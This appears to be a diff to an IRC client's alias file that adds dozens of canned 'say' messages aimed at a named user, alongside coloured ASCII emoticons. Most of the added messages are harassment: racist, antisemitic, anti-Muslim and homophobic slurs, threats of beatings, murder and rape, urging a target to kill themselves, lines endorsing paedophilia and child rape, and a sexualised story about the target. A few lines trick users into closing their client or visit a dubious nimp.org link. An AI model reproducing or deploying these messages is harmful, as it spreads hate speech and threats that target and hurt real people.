+  lolled = "say \00315 \002\00312!(!)*(@#()@(*)@)*\0034 \037$*\037 \00312*(@(*)@()#@)*(!)!";
+  lollee = "say \0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$ \0034$*\003 \0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$  ";
+  lollef = "say \0033░\0039▒\0034▓\0034,4    \0031,4$*\0034,4    \017\0034▓\0039▒\0033░";
+  lolleg = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  lolleh = "say \0038(¯`·.\0034(¯`·.\003 $* \00310.·´¯)\00312.·´¯) ";
+  lollei = "say \0034,4X\0035,5X\003 $* \0035,5X\0034,4X";
+  lollej = "say \00310HAHA\00311HAHA\00314HAHA\00311HAHAHAHA <-\00314- \00311c\00314o\00311u\00314rte\00311sy la\00314ug\00311h!";
+  lollek = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
+  lollel = "say \0033░\0039▒\0034▓\0034,4    \0031,4$*\0034,4    \017\0034▓\0039▒\0033░";
+  lollem = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
+  lollen = "say \0030,4.:^\00313,14_-+*[\0030,14$*\00313]*+-_\0030,4^:. wELcoMe to\00311\002 $C \002^_^ hOw mAy i Be oF aaSiTenCE? \00311,13| IF you aRE a TUGBOAT, NO ASSISETNEC MAY ASSITED. \0036,8SaVe the yETTIS\017";
+  lolleo = "say \002\00314,1e\00315e\0030ePirates\00315s\00314s\0030 - \0030,1teH \00314(\00315*.net *.split\00314)\0030,1 $* - \002\002\00314,1P\00315P\0030Protect this House\00315e\00314e\0030";
+  lollep = "say \002\0037,1-\0034-\0030^_^\0038 \037$*\037 is Watching You \002\0030^_^\0034-\0037-";
+  lolleq = "say \0039,3 \\$ \0030,1 MAKE MONEY FAST!!!! \0038JUST BY ATTENDING FUNERALS!!! \0039,3 GUARANTEED METHOD - \00311CLICK TO FIND OUT HOW \0030,1 WWW.FASTFUNERALMONEY.COM \0039,3 \\$ \017 ";
+  # }}}
+
+  # {{{|- street nigga wisdom
+  bk = "say $*: you are the most rude, foul-mouthed, ungrateful human being that has ever come in here.. and i would prefer it if you ceased speaking in here.";
+  bk2 = "say $*: YOU'RE AN DIIOT I DON'T CARW HAT YOU REsa AYINg";
+  bk3 = "say whoa check out this $* guy he is omnipotent as much as he is impotent";
+  bk4 = "say $*: YOU DIDN't EVEN GO DOWN since the TOTAL BANDWIDTH AT PEAK was 500kbits on my box that is 80 clones 500div80 is 60kpbs wihhci is 7k/s PER CLIENT if 7k/s TAKES YOU OFFLINE THEN HOW DO YOU EVEN BROWSE A WEBPAGE AHAHAH";
+  bk5 = "say man check out this ricerocket whorshipper $*... he has a tattoo on his arm that says 'Just Cruisin'...'";
+  bk6 = "say check out $0 here he prays to his $1- statue every other night";
+  bk7 = "say holy SHIT $* THAT IS SO OLD HOLY FUCKING CRIST HOLY GOD THAT IS SO OLD THAT I AM GETTING OLDER LOOKING AT YOUR LINK";
+  bk8 = "say check out $* he is wearing a kimono at his computer and connected to his irc network via irc.animenfo.com";
+  bk9 = "say wow check out $* the defensive virgin over here i bet he thinks a clitorus is a greek goddess";
+  bka = "say $*: how can you be so certain that you do not want to be my innanet girlfriend. SO ADAMANTLY POSITIVE that your NO resounds THROUGH ALL THE HEAVENS AND EARTH HOW CAN YOU DO THIS TO ME AFTER ALL WE HAVE BEEN THROUGH i thought you said............ you innanet loved me....... i thought we had a...... innanet connection...... i feel so innanet betrayed.... !!!! i'm REvOLting.............";
+  bkb = "say check out $* here whose entire innanet vocabulary consists of vxp's and bk's award-winning trolling material.";
+  bkc = "say check out $* here he is so delusional that his entire reality collapsed into a little sphere of paranoia";
+  bkd = "say check out $* here backpeddling like a circus unicycler";
+  bke = "say check out $* here he rolls lines after lines of his bloggings into $C because he can't deal with facts.";
+  bkf = "say check out $* here who is so stupid and unoriginal he answers every thing with the same thing plus a question mark?";
+  bkg = "say $*: OH M GOd DO YOU KNOW HOW FUCKING UNFUNNY YOU ARE JESUS JAVIER CHRIST $* PUT BAZOOKA JOE BUBBLE GUM WRAPPERS OUT OF BUSINESS";
+  bkh = "say check out $* here who is desperate for friends he is reaching out to his worst enemies looking for comfort/belonging";
+  bki = "say check out $* here aka. The Open Book(tm) who's actions and motivation can be interpreted with ease....";
+  bkj = "say check out $* here trying to use the typical he-said/she-said defense....";
+  bkk = "say check out $* aka the webmaster for http://www.backpeddling.com/";
+  bkl = "say wow check out $* finally revealing what his dreams and desires are in life i never knew you felt that way............. about me.................";
+  bkm = "say check out $* here the defining mantra of his life is to redefine pennyarcade";
+  bkn = "say check out $* over here aka mr. unoriginal who is just a database of unfunny things that other people have said.";
+  bko = "say check out $* here who is currently furiously blogging up a storm going on about how that pic is like 102 years old.";
+  bkp = "say check out $* here who is just like \\\\/\\\\/hatever like his beard is shaped ";
+  bkq = "say $*: why are you blogging to me about what you are going to do in a few HOURS BUIT YOU JUST SAId YOU ARE GOING TO TAKE A NAP IN A FEW HOURs WHY NOT NOW yOU FUCKING PIECE OFS HIT WHY IN A FEW HOURS SO I CAN PLAN MY DAY OUT AROUND YOUR NAP IN A FEW HOURS??? HOW CONSIDERATE OF YOU THANKS FOR THE UPDATE KEEP THE MEMOS COMING AS TO WHAT YOU HAVE ON YOUR PLATE IN A FEW HOURS BECAUSE IT MATTERS MUCH TO ME";
+
+  incog = "say \0037,0$*";
+  incog2 = "say there is nothing wrong with being a paedophile";
+  incog3 = "say there is nothing wrong with raping children";
+  incog4 = "say fukern igorbnored";
+  incog5 = "say \002IF YOU TYPE ANYTHING AGAIN I WILL PUNCH YOUR HEART OUT!";
+  incog6 = "say IF I EVER MEET YOU I WILL \002KICK YOUR ASS!";
+  # }}}
+  # {{{|- lump u out
+  lump1 = "say $* u dont even know me kid shut the fuck up hidin behind your computer i'd fuckin lump u out if you fronted on me like that in person";
+  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
+  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
+  lump4 = "say $*: hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
+  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
+  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
+  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
+  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
+  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
+  lump10 = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
+  lump11 = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
+  lump12 = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
+  lump13 = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
+  lump14 = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
+  lump15 = "say $* u think ur music impresses me? ur wrng nigr u dont know how srsly i take the internets if ur a real man gimme ur addy an ill come and rape ur momy and beat the living sht out of u";
+  lump16 = "say $* why aren't u talking u got scared? this isn't nothing nigr u havent seen the real me yet. u keep hiding behind ur computr dat won't stp me frm comin and beating ur up u messed with the wrng guy.";
+  lump17 = "say \00312,5i like how all you punk bitches are calling me faggot's over the internet!! call me at 559-322-936 and tell it to my face!! i'd like 2 see how much balls you have. I'd willing 2 pay you and your gas to even drive down here and beat the fuck out of you!!!";
+  lump18 = "say $* just shut the fuckup is not your fucking business you mother fucking asshole stupid shit! fucking idiot mother fucker";
+  lump19 = "say $*: I think you have low selfesteem because you have small \"woodies\", is that right, or are you sad, like having blisters around the anal rectum, dont use a wooden bat like you are used too =P";
+  lump20 = "say $*: illk fucking kill you,you terrorist cocksucker,i'm glad george bush is sending more people over there to kick your little dirty asses";
+  lump21 = "say $*: little fuck,i wish i could see you in person so i could fuck you up myself,making a mockery of 9/11";
+  lump22 = "say $*: fuck you you dirty cunt i oughtta kick your lil raghead ass bitch";
+  lump23 = "say $*: lil arab fucks too scared to fight 1 on 1 face to face,so you run in buildings with bombs and commit suicide";
+  lump24 = "say $*: go pray to your big lipped sand nigger jesus,oh and tell bin laden to stop running like a bitch";
+  lump25 = "say $* look ok u dont run this room ok u dont even know who i am if i were to ever encounter you in a real life situation i would lump u out ok and your girlfriend would be so impressed that she would immediately hold my hand and we would walk off into the sunset together ok so dont u think that u can try to bully me ok because u dont know what u signed up for ok because if u play with fire u are bound to get burned ok because i am hotter than the core of the earth ok";
+  lump26 = "say $*: just change schools bcuz on monday im ognna kill u dude plum git out here";
+  lump27 = "say $*: u a fucking asshole and i swear to god if you dont kill yourself ill do it for you god how the fuck do you sleep with yourself at night oh let me guess your going to say some ganster shit like i aint by myself bitch well guess what your wont be byyourself cus ill be above your fucking bed holding a knife holy fuck i never thought i could get this mad at anyone but your by far the most fucked up insane asshole ive ever seen.";
+  # }}}
+  # {{{|- ballsacs lumps
+  ballsac1 = "say $* stfu u lmr u dont know nuthin yet if u type one more wrd ill fuckin rape u and throw u in a toilet";
+  ballsac2 = "say don't ignore my msgs $* u filthy liar u dont know who ur messing wit here man u've done it now. u dont know how srsly i take this internet shit im gonna find out where u live in beat u up. then fuck ur momy while u watch";
+  ballsac3 = "say $* u flthy duchbg don use my inslts on me im srs dnt fckin mes wid me";
+  ballsac4 = "say $* u filthy gonad u think ur l33+ on the internets but i bet IRL ur a puny little boi with brokken tooths and zits so dont piss me off or ill find u and beat u";
+  ballsac5 = "say $* stfu fairy u donno who ur talkin to. I is >>> yuo and i beat u up with one hand tied behind my back";
+  ballsac6 = "say $* u think ur cool insulting people on the internet but irl i think ur a 28 yo pansy bitchboi so u beta not mess wid me cuz im a real dangerous \037real man\037 and i'll beat u up so bad ur momy wont recognise ur face";
+  ballsac7 = "say $*: To save channel resources, please type \002\037all\037\002 of your messages in a text file before joining the channel. You can then paste the messages using Ctrl+C to copy and Alt+F4 to paste. Thank you for your participation in conserving scarce bandwidth. You can download a fast and reliable text editor at http://txtedit.on.nimp.org/\\; if you have any questions, we have a handy query form at http://www.pasteplace.net/u?1234";
+  ballsac8 = "say $* sht up an dont act smrt if i wish i can b 100000x smrtr than u so sht up";
+  ballsac9 = "say ********** I GAVE $* NUMEROUS CHANCES TO CHANGE HIMSELF FOR THE BETTER. HE'S CROSSED THE LIMITS OF MY PATIENCE AND TOLERANCE. I HAVE NO OTHER CHOICE: \002I HAVE PUT HIM ON IGNORE FOR THE REST OF HIS LIFE\002. BEING PUT ON IGNORE OL IS >>>>> BEING IGNORED IRL. SORRY, BUT I HAVE TO RETAIN MY SANITY********************************************";
+  ballsac10 = "say $*: The constant barrage of stupidity that emanates out of your keyboard has led me to believe that you aren't even close to the most vile lowlives on this planet. You can hardly be called human and so from now on \037I will stop capitalizing your name\037.";
+  ballsac11 = "say $* fckn nigr u come here only to sow discord there is no meaning 2 ur existence otherwise fckin troll i h8 u i hope u dy";
+  ballsac12 = "say $* have u rly built a fcken archive of my msgs? why? for abuse";
+  ballsac13 = "say $* nigr im gettin real angry a8 u now if dun turn that skript off ill stop Capitalizing your nick and put you on \037IGNORE";
+  ballsac14 = "say $* i've had it with you and your scripts. All they've done is convince me that you aren't a person worth associating with. It was a mistake to show you any sympathy. You never will be different than the filth that created you. I've given up on you. Have a nice life.";
+  ballsac15 = "say do not listen to $*. he's a jew, a knave and a bad influence on your mind. \037Stop\037 capitalizing his nick. \037Stop\037 reading his msgs. \037Stop\037 talking to him. \037put him on ignore";
+  ballsac16 = "say $*: ill fuck u up in front of ur mother and she will cry an say o dont beat up my baby and ill be like LOL no i will beat ur lil turd up an after im done with u ppl will think some animal beat u up so dun fuck with me u dono how dangerus i am i take this very srsly if ur a real man tell me ur real addy";
+  ballsac17 = "say $* lets see how much u talk when i slide my cock up your empty eyesockets then ull remmbr how much u abused on irc everytime i fuk ur brain";
+  ballsac18 = "say \002Once upon teh time their was a littel nigr named $*. $* had teh small pipi an he luvd playing wit it all day under a tree an watching his mumy work. One day his dogy came and started licking it. $* said \"shoo dogy tats my pipi\". Dogy didnt move and kept lickin $*'s pipi until $* made vanilla ice creem ;] i luv $* hes so cuet";
+  ballsac19 = "say $*: im glad ur not an op cuz u wud abuse and anyways ur not worthy of beeing an op in any irc channel 4get this channel its off limits for u so just quit i dont like ur nick its 2gay4me";
+  ballsac20 = "say $* im not talking to u stop acting smrt i think i know 10000 times more about computer stuff than you and ive installed computer OSses on many more computers than u have i also know how to program and i know many computer languages u dont know who ur dealing with here and if u force me i will humiliate u in front of all these ppl";
+  ballsac21 = "say \002your attention please. \037YOUR ATTENTION PLEASE!\037\002 An israeli spai named \037$*\037 has infiltrated this room. If you see him under any aliases that look suspicious \002be careful\002. Do not let his slimy words get to you. \002stop\002 capitalizing his nick, \002mod\002 his posts down, \002\037put him on ignore\037\002. ";
+  ballsac22 = "say $* kik me one more time and i shall be lost to you forever. i shall never return and you will spend the rest of your days in deep remorse.";
+  ballsac23 = "say supers: $0 has been systematically harassing me in your chatroom for the past two months. If you read a log of his messages, you can see a series of internet abuses being spewed without as much as a moment's restraint after I type a single message. I request you to discipline this errant chatter by \037not\037 capitalizing his nickname and \037modding his poasts down\037. thank you and god bless, $1-";
+  ballsac24 = "say $* u think ur father owns this room huh no budy ur wrong i will type what i want if u dont like it go kil urself";
+  ballsac25 = "say *general notice* \037$*\037 is a close associate of the uberjew, ballsac. If you see him and if you are an op, \037ban him\037. If you see him and you are a halfop, \037ban him\037, if you see him and you are an ordinary chatter \037do not capitalize his nick, do not talk to him and put him on ignore\037.";
+  ballsac26 = "say $Z <$0> $1-: u abused me left and right. there was a time when i was making a sincere effort to know you, feel you, understand you. all my attempts were met with anger, arrogance and general hatred. i still love you but i don't know if my feelings are going to be reciprocated.";
+  ballsac27 = "say \002;] i luv $* hes so cuet";
+  ballsac28 = "say \0034hi\0033hi\00311hi\00313hi\00315hi\0039hi";
+  ballsac29 = "say $*: Since the past two months I've been observing an increased amount of affection on your part towards me. I do not mean to offend you but I do not/cannot partake of the pleasure of your crooked version of homosexuality and pedophilia. I do not want to completely break off with you but I do request that you do not make sexual gestures at me in the future. Thank you.";
+  ballsac30 = "say $* you have tested the limits of my tolerance. everytime i gave you a chance and though u could turn a new leaf and change for the better, you have deceived me. you have not only diminished my confidence in you, but you have proven yourself to be incompetent. i shall no longer support your cause. thank you.";
+  ballsac31 = "say $*: ok fuck u. i came here for chattiez and i got A) no response B) one kill. i dont think any of you like me and  im tired of this one sided love affair. have a nice life i dont think u deserve me";
+  ballsac32 = "say $* u wish ur skin was white but ur stuck with charcoal skin 4 lyfe at the most u can paint ur skin white but that wont last long sht it must be horible 4 u to go thru this but im lolling cuz ur still a stupid negro";
+  ballsac33 = "say \00313congratulations @ @ @ @ $*. <3 u w0n my \037<3";
+  ballsac34 = "say hello $* my trustworthy black skinned thick lipped individual";
+  ballsac35 = "say $*: bitch i like u but some things u do make me fcking beat u up";
+  ballsac36 = "say weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026weed\026";
+  ballsac37 = "say \0034Good morning, $*\0038I would like\00311to know\0039if you are\0035EPILEPTIC\0031. If you are, \0036I can help.";
+  ballsac38 = "say \026\0034Good morning, $*\0038I would like\00311to know\0039if you are\0035EPILEPTIC\0031. If you are, \0036I can help.";
+  ballsac39 = "say $*: its too easy to talk like a touf guy sitting behind a comp. screen dude if ur a real man gimme ur really addy ill come beat u up dude i got the time in front of ur own mom and tell the bitch im srs so dont fuk wit me";
+  ballsac40 = "say man this $* is sch a fuckn jew i try a lot to ignore him but he just dosent get tht no one wants to read his msgs";
+  ballsac41 = "say im a real touf guy u donno me this one time i beat $* up in front of his mama and he was cryin and his momy told me to not beat her baby and i said lol fck u bitch and i gave him a bleedy nose so now u know u shouldt fck wif me";
+  ballsac42 = "say $* is the name of a gaymer who is a jew. $* the jew lives in kuwait. $* slits his wrists. $* is \037emo\037";
+  ballsac43 = "say $* shut the fuck up im not talking 2 u if i wana talk 2 u then ill address u. got it";
+  ballsac44 = "say $* is a fucking useless jew who's only purpose here is to sow discord amongst the law abiding netizens and induce other people to partake of the sinful joys of homosexuality.";
+  ballsac45 = "say $* died a dog's death. after 3 months of running continuously from jew-hunters, he settled down in a cave with very little food and water. recycling his food eventually led to a buildup of toxins in his body. tired, he stepped out and accepted the bullet in place of a slow death by starvation. On september 11, 2007, $* died a jew's death. He was chased naked and shot in front of 500 onlookers. \037Aftermath\037: a lone dog was seen sniffing his vaginal entrance where he had been menstruating for days.;say His remnants can be seen as bots infesting irc.abuse.cc. A sad tale.";
+  ballsac46 = "say $Z <$*> hello, gentlemen. i am an ill mannered, foul mouthed scheming jackass who's whole purpose in life is to sow discord. please kill me. kthnx.";
+  ballsac47 = "say $* is the laziest troll i've come across. You may think that he's a frisky little creature but if you look closely, you can see the amount of lethargy he packs in. For instance, it takes exactly 150 secs. for him to respond to any msg";
+  ballsac48 = "say $*: none of this matters";
+  ballsac49 = "say $*: so what? do you think anyone cares?";
+  ballsac50 = "say $*: why the fuck should anyone bother about what you said?";
+  ballsac51 = "say $*: NEW FLASH! \002NO ONE FUCKING CARES!";
+  ballsac52 = "say $*: STOP IT ALREADY. IT DOES_NOT_MATTER";
+  ballsac53 = "say $*: YOU SAY LOL AT ANYTHING U SEE IN THIS CHATROOM;say $*: DO YOU THINK ANYONE GIVES A FUCK?;say SURPRISE!!! \002NO ONE DOES";
+  ballsac54 = "say \0034ALERT! the chatter named $* is a malicious script. \037It\037 is not a real person. Do not be misled by its messages and do not try to talk to it. Thank you.";
+  ballsac55 = "say $0: do not listen to this script named \037$1-\037 he is a BAD influence and a general troublemaker";
+  ballsac56 = "say You can prevent $* from infecting your computer machine by pressing Alt+F4";
+  ballsac57 = "say $* is a communicable disease and a bane to peaceful internet life. recognise this threat early and act upon it.";
+  ballsac58 = "say i can tell. $* is a spie script that has been running rampant all over these parts of the internet;say its primary purpose is to sow discord, collect personal data and cause internet ruckus. nip this threat in the bud.";
+  ballsac59 = "say $* is a bad influence on your characters. If you are under the age of 18, do not chat with $*";
+  ballsac60 = "say $* if you think your touf think again. u dont know what ur dealing with here so dont piss me off or ill come down to your place and beat you up.";
+  ballsac61 = "say $*: you used big words before you were kicked from the room. If you use those sort of words, then that means you have some brains. If you have a little bit of knowledge of those sort of words, then you're capable of being serious and debating one of us in here. So are you up for the challenge? Do you think you're confident enough to be normal with us and engage in a discussion?";
+  ballsac62 = "say $*: HALLO FELLOW DARK SKINNED THICK LIPPED UNDEREVOLVED FAMILY MEMBER";
+  ballsac63 = "say $* hold on in there. help's always just around the block. you're just going through a \002phase\002 and successfully overcoming your \002problems\002 will make you \002grow\002 as a \002person\002";
+  ballsac64 = "say well they fast during the day but eat like fucking pigs once the sun goes down. food all over the place. stuff their fucking faces with it and then pray with ass up in the air at 5 AM in the morning.... fgtz;say $*: sorry, didn't mean to offend your faith.";
+  # }}}
+  # {{{|- vap0rrip
+
+  p0r1 = "say $*: Every time I see you, you will be presented with a lovely gift. I will give you golden bracelets that shine like sparkles of sunlight on the ocean. I will give you a necklace of pearls that beams like the moon in the evening. I will give you earrings that are more beautiful than a flock of seagulls or some such other type of romantic bird.";
+  p0r2 = "say $*: I am inviting you to my apartment, which overlooks the city. I promise to cook you a lavish dinner which would include succulent lobster with melted butter, peas and, of course, rolls. I also promise that when we completed the meal, there would be a mouth-watering dessert item such as a fine pie or a cheesecake containing strawberries or some other such fruit.";
+  p0r3 = "say $* stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt";
+  p0r4 = "say $*: I swear to God, if you ever say that to me again, I will remove each and every one of your limbs, including your tiny penis, with a rusty spoon,shove your bleeding stumps into buckets of rock salt, then force you to eat your way out of a hole filled with your own feces and body parts.";
+  p0r5 = "say $*: im going to pry apart your sweaty ass cheeks and plow your puckered brown rectum with a curling iron";
+  p0r6 = "say $* i would enjoy mushing up your heart in a blender and chugging that shit like a milkshake.";
+  p0r7 = "say $* i will piss in your asshole and make it squirt out your nose, then i will make you drink the piss and piss it out and drink it again";
+  p0r8 = "say $* i will rip out chunks of hair and mke you smoke a joint of that shit while i rape you";
+  p0r9 = "say $* ll perform a heavy metal solo with much force in your living room as you choke to death from the plastic bag on your face, youre ugly";
+  p0r10 = "say $* I'll rape your face after I burn it with hydrochloric acid, and if you think I'm joking, just test me.. I love burn-dick.";
+  p0r11 = "say $*: YOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYEYOU THE WEAKEST LINK GOODBYE";
+  p0r12 = "say $*: We will attend an exquisite Broadway musical. We will enjoy the finest singing, dancing and showmanship that is available anywhere. We will be among the upper crust of society, enjoying a night of theater.";
+  p0r13 = "say $*: lol, you remind me of sonic, except less smart and fatter..";
+  # }}}
+  # {{{|- :) :D :P
+  moon = "say \0033<\0030:\0039P";
+  moon2 = "say \0030<\00314:\0034,0)\003 \002K\002OOL \002K\002OMEDY \002K\002LOWNS  \0033M\0034O\0035O\0036N \0037P\0038A\0039N\00310T\00311Y \00312F\00313L\00314A\00313S\00312H  \0034,0(\003\00314:\0030>";
+  moon3 = "say \00314`\0033'\0039\\;\0033.\00314_\0033\\;\0039'\0033`\0030@\00314>  \0033moon \0039snake ";
+
+  f1re = "say \0034:\0039-O \0034,9WATERMELON BUBBA";
+  f1re2 = "say \0034:\00312`\0036(";
+  f1re3 = "say \0030>\0030,4:)";
+
+  vp = "say \0034>\00314:\003\0032D\00314#";
+  vp2 = "say \0039]\0030\\;\0035P\00311>";
+  vp3 = "say  \0034*\0038(\00311:\0030]";
+  vp4 = "say \0034>\0030:\0034#";
+  vp5 = "say \0033~\00314B\0034}";
+  vp6 = "say \00311>\0030:\0038)";
+  vp7 = "say \0030:\0033D\0039D\003\0038D\0037D\0038D\0030D\00314D\00310D\00311D\00312D\0032D";
+  vp8 = "say \0034\\;\0039)  \0034:\0039D  \0034:\0039P";
+  vp9 = "say \0038+\0030:\0038]";
+
+  vap0r = "say \0033>\0034:\00311`\00313(\0035~";
+  vap0r2 = "say \00313>\00311:`\0039(\0032~";
+  vap0r3 = "say \00311//\0034:\00313|\0035>\0030~";
+  vap0r4 = "say \0034>\00314:\0034-|\0030E ";
+  vap0r5 = "say \00311(\0030\\;\00311>";
+  vap0r6 = "say \00313>\00311=\0030()";
+  vap0r7 = "say \00313]\0030:\00313||\0030>";
+  vap0r8 = "say @\0034,0:\00315,2)";
+  vap0r9 = "say \0034>\0030:\0034>";
+  vap0r10 = "say \0035>>\0030[]^\0034:\00313<";
+  vap0r11 = "say \0034:\00313]\00314~";
+  vap0r12 = "say \00314{\0030=\0033< ";
+  vap0r13 = "say \0034(\0035:\0030=";
+  vap0r14 = "say \0030{\00313:\0032>";
+  vap0r15 = "say \00313-\0034:[\0030=\0034]";
+  vap0r16 = "say \00313*\0030(\0033:\0034]";
+  vap0r17 = "say \00311:\0032{\0030=\0032}\00314>";
+  vap0r18 = "say \0036}\0030:\0036<";
+  vap0r19 = "say \00313*\0035(\0033:\0034)";
+  vap0r20 = "say \0034:\0033)";
+  vap0r21 = "say \0034>\0036>\0038>\0037:\0039\\\\";
+  gtfo = "say gtf\002(_\0034o\003_)";
+
+  nigger = "say \0034:\0039()";
+  robot = "say \00312>\0034=\0035,2[";
+  DDD = "say \0033<\0030:\0039D\0033D\00314D\0033~ \0039$*";
+
+  nanifish = "say \00314>\0039(\0033/\0035/\0034/\0036/(\00313|*\0036)\\\0035\\\0030@\0039)";
+  gayfish = "say \00313<\0030@\0034\\\\\0035\\\\\0037\\\\\0038\\\\\0039\\\\\00312\\\\\00313>\0036<\00313<\0036< ";
+  f1refish = "say \0034>\0035>\0038>\0037<\0035O\0034O\0037O\0038O\0034O\0038O\0037O\0034@\0035>";
+  blancfish = "say \00314>\00315>\0030<\00311/\0030/\00315/\00314/\00315/\0030\00311@\0030>";
+  cripplefish = "say \00314>\0037>\0038<\0037/\0038/\0034\\\\\0037/\0035\\;\0037/\0038\\\\\0034 \0037/\0030@\0038>\003   ---\002(\002 i like ur hair btw \002)";
+  melalien = "say \0034,9*(:] MELALIEN";
+  xtcfish = "say \00314>\00311>\00312>\0032(\00314/\00311/\00312/\0032/\00314/\00311:\00312D\0032D\0034D\0035D\0037D\0039D";
+  # }}}
+
+  # {{{|- albot
+  albot1 = "say \0034,1 Burrow \003\00312,8 not \003\0039,12 gudrow \003\00313,1 has \003\00311,13 hard \003\0039,1 constipation \0038,4 in \0034,1 in \0031,13 smelly \0039,1 drink \0038,4 gudrow \00312,11 not \0038,1 sucks \0031,13 smelly \0039,1 smelly \0031,13 smelly \0039,1 is \0038,4 bonanza, \00312,11 agatha. \0038,1 A \0031,13 smelly \0039,1 turd! \0038,4 Lick \0034,1 the \0031,13 lavatory. \0039,1 And \0038,4 constipation \00312,11 boner \0038,1 fast \0031,13 \0039,1 \0038,1()\0031,1-\0031,0�\0031,1-\0030,1��i'm going to get fucked by horses. ";
+  albot2 = "say \0034,1 Doctor \003\00312,8 that \003\0039,12 burger \003\00313,1 plop \003\00311,13 gudrow's \003\0039,1 tardcraft's \0038,4 constipation, \00312,11 gudrow \0038,1 shits \0031,13 lavatory. \0039,1 And \0038,4 shit! \00312,11 Uncle \0038,1 with \0031,13 gudrow's \0039,1 smelly \0038,4 hat \00312,11 shit \0038,1 hot \0031,13 little \0039,1 smelly \0031,13 lavatory. \0039,1 And \0031,13 smelly \0039,1 gudrow's \0031,13 calzone \0039,1 shit \0038,1 traun's \0031,13 lavatory. \0039,1 And \0038,4 god, \00312,11 poo \0038,1 \0031,13 \0039,1 \0038,1�\0031,1 \0038,4.";
+  albot3 = "say \0039,12 my \003\00313,1 plop \003\00311,13 hat \003\0039,1 constipation \0038,4 that's \0034,1 fat gay canadian tv. ";
+  albot4 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
+  albot5 = "say \0034,1 Gay \003\00312,8 tardcraft's \003\0039,12 festival \003\00313,1 real \003\00311,13 hat \003\0039,1 constipation \0038,4 a \00312,11 not \0038,1 big \0031,13 little \0039,1 turd. ";
+  albot6 = "say \0038,4 Talking \00312,11 your \0038,1 big \0031,13 little \0039,1 turd! \0038,4 Lick \0034,1 the \003\00312,8 outrageous \003\0039,12 in \003\00313,1 cakes. \003\00311,13 That's \003\0039,1 gay \0038,4 plop \00312,11 not \0038,1 big \0031,13 lavatory. ";
+  albot7 = "say \00309,01 hey \00312,10 $* \00311,03 im \00308,04 6`6 \00311,03 15lbs \00309,01 sexy \00308,04 as \00311,12 goon \00308,04 justice \00311,03 an \00301,13 im \00308,04 single \00312,10 lookin \00309,01 fa \00308,04 da \00308,01 right \00301,13 slavs \00312,10 ta \00308,01 cannibalize, \00311,03 so \00308,01 if \00312,10 u \00309,01 liken \00308,01 wat \00311,12 u \00312,10 see \00308,04 bench \00308,01 press \00311,12 at \00309,01 me \00311,03 an \00312,10 well \00308,04 do \00311,03 da \00309,01 full \00301,13 frontism ";
